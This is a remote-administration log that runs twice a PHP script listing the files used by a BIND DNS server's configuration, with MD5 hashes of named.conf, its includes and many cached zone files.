MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 18:21:46: Establishing a connection
2026-01-03 18:21:46:
PUT: /tmp/pkp754899
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 18:21:46:
runuser -l bind -s /bin/bash -c '/tmp/pkp754899; rm /tmp/pkp754899'
2026-01-03 18:21:46:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 18:23:28: Establishing a connection
2026-01-03 18:23:29:
PUT: /tmp/pkp718592
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 18:23:29:
runuser -l bind -s /bin/bash -c '/tmp/pkp718592; rm /tmp/pkp718592'
2026-01-03 18:23:29:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
